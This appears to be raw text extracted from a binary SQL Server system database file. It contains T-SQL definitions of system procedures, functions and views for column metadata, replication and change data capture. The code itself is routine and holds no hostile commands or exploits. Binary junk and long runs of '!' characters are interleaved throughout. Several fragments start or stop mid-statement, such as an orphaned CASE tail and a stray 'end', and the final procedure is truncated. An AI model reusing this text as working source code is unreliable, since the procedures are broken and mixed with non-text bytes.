0@ \8X@h>8^Uay!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!=	r`
6
<b1@ۢ0]` 8
create procedure sys.sp_columns
(
    @table_name         nvarchar(384),
    @table_owner        nvarchar(384) = null,
    @table_qualifier    sysname = null,
    @column_name        nvarchar(384) = null,
    @ODBCVer            int = 2
)
as
    declare @full_table_name    nvarchar(769) -- 384 + 1 + 384
    declare @table_id           int
    declare @fUsePattern        bit

    select @fUsePattern = 1

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    -- "ALL" is represented by NULL value.
    if @table_name = '%'
        select @table_name = null
    if @table_owner = '%'
        select @table_owner = null
    if @table_qualifier = '%'
        select @table_qualifier = null
    if @column_name = '%'
        select @column_name = null

    -- Empty string means nothing, so use invalid identifier.
    -- A quoted space will never match any object name.
    if @table_owner = ''
        select @table_owner = ' '

    select @full_table_name = isnull(quotename(@table_owner), '') + '.' + isnull(quotename(@table_name), '')
    select @table_id = object_id(@full_table_name)

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_table_name),0) = 0) and
            (isnull(charindex('_', @full_table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('[', @table_owner),0) = 0) and
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (@table_id <> 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = s_cov.TABLE_OWNER,
            TABLE_NAME                  = s_cov.TABLE_NAME,
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE_28,
            TYPE_NAME                   = s_cov.TYPE_NAME_28,
            "PRECISION"                 = s_cov.PRECISION_28,
            "LENGTH"                    = s_cov.LENGTH_28,
            SCALE                       = s_cov.SCALE_90,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE_28,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB_90,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH_28,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov

        where
            s_cov.object_id = @table_id -- (2nd) (@table_name is null or o.name like @table_name)
            -- (2nd) and (@table_owner is null or schema_name(o.schema_id) like @table_owner)
            and (@column_name is null or s_cov.COLUMN_NAME = @column_name) -- (2nd)             and (@column_name is NULL or c.name like @column_name)
            and s_cov.ODBCVER = @ODBCVer
            and s_cov.OBJECT_TYPE <> 'TT'
            and ( s_cov.SS_IS_SPARSE = 0 OR objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 0 )
        order by 17
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
    */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = s_cov.TABLE_OWNER,
            TABLE_NAME                  = s_cov.TABLE_NAME,
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE_28,
            TYPE_NAME                   = s_cov.TYPE_NAME_28,
            "PRECISION"                 = s_cov.PRECISION_28,
            "LENGTH"                    = s_cov.LENGTH_28,
            SCALE                       = s_cov.SCALE_90,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE_28,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB_90,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH_28,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov

        where
            s_cov.ODBCVER = @ODBCVer and
            s_cov.OBJECT_TYPE <> 'TT' and
            (@table_name is null or s_cov.TABLE_NAME like @table_name) and
            (@table_owner is null or schema_name(s_cov.SCHEMA_ID) like @table_owner) and
            (@column_name is null or s_cov.COLUMN_NAME like @column_name) and
            ( s_cov.SS_IS_SPARSE = 0 OR objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 0 )

        order by 2, 3, 17
    end
09Vw h8Ygh>8^}M0u 08create function sys.fn_replmakestringliteral (
    @string nvarchar(4000)
    ) returns nvarchar(4000)
as
begin
    declare @string_literal nvarchar(4000)
    select @string_literal = N'N''' + replace(@string, '''', '''''') + N''''
    return @string_literal
end
0Z_m !8create function sys.fn_MSmerge_isrepublisher (@artid uniqueidentifier)
returns bit
as
begin
    if exists (select pubid from dbo.sysmergearticles where artid = @artid and (sys.fn_MSmerge_islocalpubid(pubid) = 0))
        return 1

    return 0
end
0m@ 8
create procedure sys.sp_MSgetlastsentgen
    (@repid uniqueidentifier)
as
    declare @retcode    int

    /*
    ** do permission checking
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if @retcode<>0 or @@ERROR<>0 return (1)

    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    if (@repid is null)
    begin
        RAISERROR(14043, 16, -1, '@repid', 'sp_MSgetlastsentgen')
        return (1)
    end

    select sentgen, sentguid from dbo.sysmergesubscriptions where subid = @repid
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!8`<c@oe0J 8
create procedure sys.sp_columns_90
(
    @table_name         nvarchar(384),
    @table_owner        nvarchar(384) = null,
    @table_qualifier    sysname = null,
    @column_name        nvarchar(384) = null,
    @ODBCVer            int = 2,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @full_table_name    nvarchar(769) -- 384 + 1 + 384
    declare @table_id           int

    if (@ODBCVer is null) or (@ODBCVer <> 3)
        select @ODBCVer = 2

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    -- "ALL" is represented by NULL value.
    if @table_name = '%'
        select @table_name = null
    if @table_owner = '%'
        select @table_owner = null
    if @table_qualifier = '%'
        select @table_qualifier = null
    if @column_name = '%'
        select @column_name = null

    -- Empty string means nothing, so use invalid identifier.
    -- A quoted space will never match any object name.
    if @table_owner = ''
        select @table_owner = ' '

    select @full_table_name = isnull(quotename(@table_owner), '') + '.' + isnull(quotename(@table_name), '')
    select @table_id = object_id(@full_table_name)

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_table_name),0) = 0) and
            (isnull(charindex('_', @full_table_name),0) = 0) and
            (isnull(charindex('[', @table_name),0) = 0) and
            (isnull(charindex('[', @table_owner),0) = 0) and
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (@table_id <> 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = s_cov.TABLE_OWNER,
            TABLE_NAME                  = s_cov.TABLE_NAME,
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE_90,
            TYPE_NAME                   = s_cov.TYPE_NAME,
            "PRECISION"                 = s_cov.PRECISION,
            "LENGTH"                    = s_cov.LENGTH_90,
            SCALE                       = s_cov.SCALE_90,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE_90,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB_90,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_UDT_CATALOG_NAME         = s_cov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME          = s_cov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME   = s_cov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME    = s_cov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME     = s_cov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME            = s_cov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov

        where
            s_cov.object_id = @table_id -- (2nd) (@table_name is null or o.name like @table_name)
            -- (2nd) and (@table_owner is null or schema_name(o.schema_id) like @table_owner)
            and (@column_name is null or s_cov.COLUMN_NAME = @column_name) -- (2nd) and (@column_name is NULL or c.name like @column_name)
            and s_cov.ODBCVER = @ODBCVer
            and ( s_cov.SS_IS_SPARSE = 0 OR objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 0 )
        order by 17
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(convert(sysname, @table_id), '@table_id = null')
        print isnull(@full_table_name, '@full_table_name = null')
        print isnull(@table_owner, '@table_owner = null')
        print isnull(@table_name, '@table_name = null')
        print isnull(@column_name, '@column_name = null')
        print '*************'
        */
        select
            TABLE_QUALIFIER             = s_cov.TABLE_QUALIFIER,
            TABLE_OWNER                 = s_cov.TABLE_OWNER,
            TABLE_NAME                  = s_cov.TABLE_NAME,
            COLUMN_NAME                 = s_cov.COLUMN_NAME,
            DATA_TYPE                   = s_cov.DATA_TYPE_90,
            TYPE_NAME                   = s_cov.TYPE_NAME,
            "PRECISION"                 = s_cov.PRECISION,
            "LENGTH"                    = s_cov.LENGTH_90,
            SCALE                       = s_cov.SCALE_90,
            RADIX                       = s_cov.RADIX,
            NULLABLE                    = s_cov.NULLABLE,
            REMARKS                     = s_cov.REMARKS,
            COLUMN_DEF                  = s_cov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_cov.SQL_DATA_TYPE_90,
            SQL_DATETIME_SUB            = s_cov.SQL_DATETIME_SUB_90,
            CHAR_OCTET_LENGTH           = s_cov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_cov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_cov.IS_NULLABLE,
            SS_UDT_CATALOG_NAME         = s_cov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME          = s_cov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME   = s_cov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME    = s_cov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME     = s_cov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME            = s_cov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_cov.SS_DATA_TYPE

        from
            sys.spt_columns_odbc_view s_cov

        where
            s_cov.ODBCVER = @ODBCVer and
            (@table_name is null or s_cov.TABLE_NAME like @table_name) and
            (@table_owner is null or schema_name(s_cov.SCHEMA_ID) like @table_owner) and
            (@column_name is null or s_cov.COLUMN_NAME like @column_name) and
            ( s_cov.SS_IS_SPARSE = 0 OR objectproperty ( s_cov.OBJECT_ID, 'tablehascolumnset' ) = 0 )

        order by 2, 3, 17
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6	<dE0E@ 8--
-- Name: sp_add_log_file_recover_suspect_db
-- Purpose: Adds a log file to a suspect database and runs
-- 		recovery on the database.  This SP should only be used
--		on databases that have been marked suspect due to
--		insufficient data (error 1105) or log (error 9002) space.
--
create procedure sys.sp_add_log_file_recover_suspect_db
	@dbName 	sysname			-- database name
	,@name		nvarchar(260)		-- logical file name
	,@filename	nvarchar(260)		-- OS file name
	,@size		nvarchar(20) 	= NULL	-- initial file size
	,@maxsize	nvarchar(20) 	= NULL	-- maximum file size
	,@filegrowth	nvarchar(20) 	= NULL	-- growth increment
as
	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_add_log_file_recover_suspect_db')
		return (1)
	end

	EXEC sys.sp_add_file_recover_suspect_db @dbName, 'LOG', NULL, @name, @filename, @size, @maxsize, @filegrowth
0G 8create procedure sys.sp_MSenum_qreader_s 
(
    @publication_id int = 0, 
    @hours int = 0, /* @hours < 0 will return TOP 100 */
    @session_type int = 1 /* Return all sessions */
)
as
begin
    set nocount on

    declare @succeed int
                ,@retry int
                ,@failure int
                ,@min_time datetime
                ,@agent_id int
                ,@maxtimestamp timestamp
                ,@session_start timestamp
                ,@next_session_start timestamp
                ,@session_end timestamp
                ,@final_ts timestamp

                ,@status int
                ,@session_status int
                ,@error_id int
                ,@session_error_id int,
                @start_time nvarchar(24), 
                @time nvarchar(24), 
                @comments nvarchar(255), 
                @duration int, 
                @delivery_rate int, 
                @delivery_latency int,
                @transactions_processed int, 
                @commands_processed int, 
                @average_commands int, 
                @action_count int, 
                @start_datetime datetime,
                @end_datetime datetime
	
    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	if @session_type  not in (1,2)
	begin
		return(1)
	end
	
	/* 
	** Status const defined in sqlrepl.h 
	*/
	select @succeed = 2
	select @retry = 5
	select @failure = 6

	-- create the table to store sessions
	create table #qreader_session (status int NOT NULL,
		start_time nvarchar(24) NOT NULL, time nvarchar(24) NOT NULL, comments nvarchar(255) NULL, 
		duration int NULL, delivery_rate int NULL, delivery_latency int NULL,
		publication_id int NULL, transactions_processed int NULL, commands_processed int NULL, 
        average_commands int NULL, action_count int NULL, error_id INT NULL, local_timestamp binary(8) NOT NULL)
		
	-- get the agent id
	select TOP 1 @agent_id = agent_id from MSqreader_history with (READPAST)

	--
	-- If Min time specified, initilialize it
	--
	IF (@hours < 1)
		select @min_time = NULL
	ELSE
		select @min_time = dateadd(hour, -@hours, getdate())

	-- initialize
	select @delivery_latency = 0
			,@next_session_start = NULL
			,@session_end = NULL
			,@final_ts = max(timestamp) 
	from MSqreader_history
	
	-- Get the session details
	while (@session_end != @final_ts)
	begin
		--
		-- Mark the beginning of a new session
		--
		if (@next_session_start is NULL)
		begin
			select @session_start = min(timestamp) from MSqreader_history with (READPAST)
				where agent_id = @agent_id and runstatus = 1
		end
		else
		begin
			select @session_start = @next_session_start 
		end

		--
		-- update @next_session_start
		--
		select @next_session_start = ISNULL(min(timestamp), @final_ts) 
		from MSqreader_history
		where agent_id = @agent_id and timestamp > @session_start and runstatus = 1

		--
		-- find session end based on @next_session_start
		--
		if (@next_session_start = @final_ts)
			select @session_end = @final_ts
		else
		begin
			select @session_end = isnull(max(timestamp), @next_session_start)
			from MSqreader_history with (READPAST)
			where agent_id = @agent_id and
				timestamp > @session_start and 
				timestamp < @next_session_start
		end
	       
		--
		-- get start time for this session
		--
		select @start_datetime = start_time, 
			@start_time = sys.fn_replformatdatetime(start_time)
		from MSqreader_history with (READPAST)
		where agent_id = @agent_id and timestamp = @session_start			

		--
		-- do we need to process this session 
		--
		if (@start_time IS NULL)
		begin
			--
			-- Check if we are done with all sessions
			--
			if (@session_end = @final_ts)
				break
			else
				continue
		end

		--
		-- get status, end time, comments, error id for this session
		--
		select @status = runstatus,
			@end_datetime = time,
			@time = sys.fn_replformatdatetime(time), 
			@comments = comments, 
			@error_id = ISNULL(error_id, 0) 
		from MSqreader_history with (READPAST)
		where agent_id = @agent_id and timestamp = @session_end

		--
		-- do we need to continue this session - min time check
		--
		if ((@min_time is NOT NULL) and (@min_time > @end_datetime))
		begin
			--
			-- Check if we are done with all sessions
			--
			if (@session_end = @final_ts)
				break
			else
				continue
		end

		--
		-- get duration, action count, tran processed, cmds processed, avg cmds, etc
		-- for this session
		--
		select @duration = DATEDIFF(second, @start_datetime, @end_datetime)
		select @action_count = ISNULL(count(*), 0)
				,@session_status = max(runstatus)
				,@session_error_id = isnull(max(error_id),0)
			from MSqreader_history with (READPAST)
			where agent_id = @agent_id 
				and timestamp >= @session_start and timestamp <= @session_end

		select @transactions_processed = sum(ISNULL(transactions_processed, 0)) 
				,@commands_processed = sum(ISNULL(commands_processed, 0))
				,@average_commands =  avg(ISNULL(commands_processed, 0))
				,@delivery_rate = cast(avg(ISNULL(delivery_rate, 0.0)) as int)
			from MSqreader_history with (READPAST)
			where agent_id = @agent_id 
				and timestamp >= @session_start and timestamp <= @session_end
				and transactions_processed > 0
		--
		-- if we have errors in the session - choose the highest status
		--
		if (@session_status > 4)
		begin
			select @status = @session_status
				,@error_id = @session_error_id
		end
		--
		-- insert into #qreader_session
		--
		insert into #qreader_session values(@status, @start_time, @time, @comments, 
			@duration, @delivery_rate, @delivery_latency, NULL, @transactions_processed, 
			@commands_processed, @average_commands, @action_count, @error_id, @session_end)

		--
		-- Check if we are done with all sessions
		--
		if (@session_end = @final_ts)
			break
	end

	-- return results
	
	if (@hours < 0)
		set rowcount 100
	select 
		status,
		start_time,
		time, 
		comments, 
		duration,
		delivery_rate,
		delivery_latency,
		publication_id,
		transactions_processed, 
		commands_processed, 
		average_commands, 
		action_count, 
		error_id
	from #qreader_session		
	where (@session_type = 2 and (status = @failure)) or 
			(@session_type = 1)
	order by local_timestamp desc
	--
	-- all done
	--
	return 0
end
'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
0M P8h>N!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}
?	bDB`"<9e*01t@ x8create view sys.trace_categories as select * from OpenRowset(TABLE SYSTRACECATEGORIES)
0@ 8CREATE VIEW sys.dm_clr_appdomains AS
	SELECT
		appdomain_address,
		appdomain_id,
		appdomain_name,
		creation_time,
		db_id,
		user_id,
		state,
		strong_refcount,
		weak_refcount,
		cost,
		value,
		compatibility_level,
		total_processor_time_ms,
		total_allocated_memory_kb,
		survived_memory_kb
	FROM OpenRowset(TABLE DM_CLR_APPDOMAINS) 
0G a8create procedure sys.sp_MStran_ddlrepl 
(
	@EventData xml
	,@procmapid int
)
AS
begin
    set nocount on
	declare @retcode int

    -- validate the procmapid
    if @procmapid not in (1,2,3,4)
    begin
        raiserror(15021, 16, -1, '@procmapid')
        goto FAILURE
    end
    --if transactional replication is not enabled for this db, don't do anything
    if (sys.fn_MSrepl_istranpublished (db_name(),0) != 1)
        return 0
	
    declare @object_name sysname
                ,@object_owner sysname
                ,@qual_object_name nvarchar(512) --qualified 2-part-name			
                ,@objid	int
                ,@objecttype varchar(32)
                ,@encrypted nvarchar(32)
                ,@pass_through_scripts nvarchar(max)
                ,@eventDoc int
                ,@dbname sysname
                ,@targetobject nvarchar(51)
                ,@debug_print bit
		
	if object_id('MSrepl_debug_DDL') is not null
		set @debug_print = 1
	else
		set @debug_print = 0

    set	@targetobject = N''

    select @object_name  = event_instance.value('ObjectName[1]', 'sysname')
        ,@object_owner = event_instance.value('SchemaName[1]', 'sysname')
        ,@objecttype = event_instance.value('ObjectType[1]', 'varchar(32)')
        ,@encrypted = event_instance.value('(TSQLCommand/SetOptions/@ENCRYPTED)[1]', 'nvarchar(32)')
        ,@pass_through_scripts = event_instance.value('(TSQLCommand/CommandText)[1]', 'nvarchar(max)')
        ,@targetobject = event_instance.value('TargetObjectName[1]', 'nvarchar(512)')
    FROM       @EventData.nodes('/EVENT_INSTANCE') as R(event_instance)

	if @debug_print = 1
		select 'stage' = 'xmlnoderefs : '
					, '@object_name' = @object_name
					, '@object_owner' = @object_owner 
					, '@objecttype' = @objecttype 
					, '@encrypted' = @encrypted 
					, '@pass_through_scripts' = @pass_through_scripts
					, '@targetobject' = @targetobject
	
    -- If the object being manipulated is a database level trigger that is owned by replication, raise error
    if exists (select * from sys.triggers where name = @object_name and parent_class = 0 and @objecttype = 'TRIGGER' and @object_name in (N'tr_MStran_altertable', N'tr_MStran_alterview', N'tr_MStran_alterschemaonly', N'tr_MStran_altertrigger'))
    begin
        raiserror(21598, 16, 1)        
        goto FAILURE
    end
    
    -- If the object being manipulated is a database level trigger that is not owned by replication, return immediately
    if exists (select * from sys.triggers where name = @object_name and parent_class = 0 and @objecttype = 'TRIGGER' and @object_name not in (N'tr_MStran_altertable', N'tr_MStran_alterview', N'tr_MStran_alterschemaonly', N'tr_MStran_altertrigger'))
        return 0

    select @qual_object_name = quotename(@object_owner) + N'.' + quotename(@object_name)
    select @objid = object_id(@qual_object_name)
    select @dbname = db_name()

	if @debug_print = 1
		select 'stage' = 'quotename : '
					, '@qual_object_name' = @qual_object_name
					, '@objid' = @objid
					, '@dbname' = @dbname

    --can not alter to 'with encrypted' if object is published
    --return immediately if object is not published
    if UPPER(@encrypted) = N'TRUE'
    begin	
        if (UPPER(@objecttype) != 'TRIGGER' and 
            exists (SELECT * FROM dbo.sysextendedarticlesview WHERE objid = @objid) 
        or UPPER(@objecttype) = 'TRIGGER' and 
            exists (select * from sysarticles a join sys.objects o on a.objid = o.parent_object_id
                                    where o.object_id = @objid and cast (a.schema_option as int) & 256 = 256) )
        begin 
            raiserror(21815, 16, 1, @qual_object_name)		
            goto FAILURE
        end
        else
            return 0
    end
	
    --stored procedures published as "proc execution" article cannot contain
    --table value parameters (Note: proc exec articles are only listed in 
    --dbo.sysarticles
    if exists (select * 
                 from sys.parameters sp 
           inner join dbo.sysarticles a
                   on sp.object_id = a.objid
                where sp.system_type_id = 243
                  and sp.object_id = @objid
                  and a.type in (0x08, 0x18))
    begin
        raiserror(25023,16,-1)
        goto FAILURE
    end
    select @pass_through_scripts = sys.fn_replgetparsedddlcmd(@pass_through_scripts
														,N'ALTER'
														,@objecttype
														,@dbname
														,@object_owner
														,@object_name
														,@targetobject)

	if @debug_print = 1
		select 'stage' = 'sys.fn_replgetparsedddlcmd output : '
				, '@pass_through_scripts' = @pass_through_scripts

	-- sys.fn_replgetparsedddlcmd will return empty string if DDL contains 
	-- syntax that we don't currently handle (after Katmai DDL
	-- improvement)
	--It will also handle a duplicate trigger in the case of "alter table switch"
	if @pass_through_scripts = N''
		return 0

    -- deal with alternate dest table/owner for alter table inside sp_MStran_altertable
    if UPPER(@objecttype) != N'TABLE' and UPPER(@objecttype) != N'TRIGGER'
    begin
        select @pass_through_scripts = N'ALTER ' + @objecttype + N' '
    								+ @qual_object_name + N' '
    								+ @pass_through_scripts
    end
																																																						
    --if object is not published, don't do anything, unless SWITCH is the following keyword
    if (UPPER(@objecttype) != 'TRIGGER' and exists (SELECT * FROM dbo.sysextendedarticlesview WHERE objid = @objid) 
    	or UPPER(@objecttype) = 'TRIGGER' and exists (select * from sysarticles a join sys.objects o on a.objid = o.parent_object_id
    					where o.object_id = @objid ) 
		or UPPER(@objecttype) = N'TABLE' and LEFT(@pass_through_scripts, LEN(N'SWITCH')) = N'SWITCH')
    begin
        declare @proc_name sysname

	    --  Security Check
	    EXEC @retcode = sys.sp_MSreplcheck_publish
	    IF @@ERROR <> 0 or @retcode <> 0
			goto FAILURE

        select @proc_name = case 
                    when (@procmapid = 1) then 'sys.sp_MStran_altertable' 
                    when (@procmapid = 2) then 'sys.sp_MStran_alterview' 
                    when (@procmapid = 3) then 'sys.sp_MStran_alterschemaonly' 
                    when (@procmapid = 4) then 'sys.sp_MStran_altertrigger' 
                    end

        exec @retcode = @proc_name @qual_object_name, @objid, @pass_through_scripts, @targetobject 
		if @retcode <>0 or @@ERROR<>0
			goto FAILURE
    end
    return 0
FAILURE:
    rollback tran 
    return 1
end

end
ME,
        PROG_ID
    from
        -- ISSUE - below pseudo-function is not exposed by metadata code!
        sys.fn_remote_usertypes (@type_server,
                                 @type_catalog,
                                 @type_name,
                                 @type_schema,
                                 @assembly_id)
    order by 1, 2, 3
0ZV  8create function sys.fn_fIsColTracked
    (@artnick int)
    returns int
as
begin
    declare @fIsColTracked int
    set @fIsColTracked= (select top 1 column_tracking from dbo.sysmergearticles where nickname=@artnick)
    return @fIsColTracked
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;
M	KH``,<E
f2We*0S 8
create procedure sys.sp_primarykeys
(
    @table_server       sysname,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @table_catalog      sysname = null
)
as
    select
        TABLE_CAT   = TABLE_CATALOG,
        TABLE_SCHEM = TABLE_SCHEMA,
        TABLE_NAME  = TABLE_NAME,
        COLUMN_NAME = COLUMN_NAME,
        KEY_SEQ     = ORDINAL,
        PK_NAME     = convert(sysname, NULL)

    from
        sys.fn_remote_primary_keys (
                @table_server,
                @table_catalog,
                @table_schema,
                @table_name)
    order by TABLE_CAT, TABLE_SCHEM, TABLE_NAME, KEY_SEQ
0xd D8JhjJ"}0mW 8create function [sys].[fn_cdc_get_min_lsn]				
(														
	@capture_instance	sysname											
)														
returns binary(10)
as													
begin
														
	declare @min_lsn binary(10)
	
	select @min_lsn = 0x00000000000000000000
		
	-- Caller must have select access to the source table
	if (@capture_instance is null) or
	   ([sys].[fn_cdc_has_select_access](rtrim(@capture_instance)) != 1)
	begin
		return @min_lsn
	end
							
	select @min_lsn = [sys].[fn_cdc_get_start_lsn](rtrim(@capture_instance))
	if (@min_lsn > [sys].[fn_cdc_get_max_lsn]())
	begin
		set @min_lsn = NULL
	end
																
	return @min_lsn
												
end
0Z 8
create procedure sys.sp_MSfilterclause
	@publication nvarchar(258), @article nvarchar(258)
as
	/* Return a text column as multiple readtexts of maxcol length */
	declare @pubid int, @artid int
	select @pubid = pubid from syspublications where name = @publication
	if (@pubid is null) begin
		RAISERROR (15001, 11, -1, @publication)
		return 1
	end
	select @artid = artid from sysarticles where name = @article and pubid = @pubid
	if (@artid is null) begin
